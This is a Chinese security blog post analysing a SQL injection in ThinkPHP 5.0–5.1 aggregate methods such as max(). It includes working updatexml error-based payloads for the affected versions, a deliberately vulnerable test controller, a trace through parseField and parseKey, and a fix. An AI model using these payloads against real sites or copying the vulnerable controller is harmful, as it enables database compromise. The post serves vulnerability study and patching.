飞道的博客

ThinkPHP5代码审计【聚合函数引起的SQL注入】

289人阅读  评论(0)

简介

Mysql 聚合函数相关方法均存在注入

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

Payload IN :5.0.0~5.0.21 、 5.1.3~5.1.10

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

Payload IN :5.1.11~5.1.25

id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

环境搭建

composer下载源码:

composer create-project --prefer-dist topthink/think=5.1.25 thinkphp_5.1.25

配置 application/index/controller/Index.php为以下代码:

<?php
namespace app\index\controller;

class Index
{
   
    public function index()
    {
   
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
    }
}

配置composer.json:

在config/database.php下配置数据库

在config/app.php开启调试

然后去GitHub上下载thinkphp目录并将其代替我们composer下载的thinkphp目录,下载地址:
https://github.com/top-think/framework/archive/refs/tags/v5.1.25.zip

分析

正常地传入id,即MAX(`id`)了,看到确实会返回正确的值:


尝试闭合一下MAX(`id`),加一个反引号、一个括号、一个报错语句、一个注释符,发现我们的请求没有被拦截而直接成功触发SQL注入了:

payload

?options=id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users%23




分析一下其中的原因:
前面的不讲了,直接看max()方法,会调用aggregate()方法

Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法

经过一个拼接得到的$field=

MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

然后看value(),其中最重要的就是生成SQL语句处:

Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),

这个parseField方法主要执行下面这些代码:

protected function parseField(Query $query, $fields)
{
   
	.......
        foreach ($fields as $key => $field) {
   
			else {
   
                $array[] = $this->parseKey($query, $field);
            }
        }
    ......
        $fieldsStr = implode(',', $array);
    return $fieldsStr;

$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr

上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则

所以最终$fieldsStr的值为

MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

从而得到SQL语句:

SELECT MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max FROM `users` LIMIT 1  

到这儿就大致完成了,可以看见SQL语句就是我们想要的

可以看到关键是Mysql类下对字段名检查的parseKey()方法 没有严格过滤导致我们的语句能组成起来



七月火师傅的攻击流程图

修复

在Mysql类parseKey()方法中,添加一段过滤代码,不允许出现除了 字母、点号、星号 以外的字符时,否则就抛出异常。


转载:https://blog.csdn.net/weixin_45669205/article/details/116566732
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场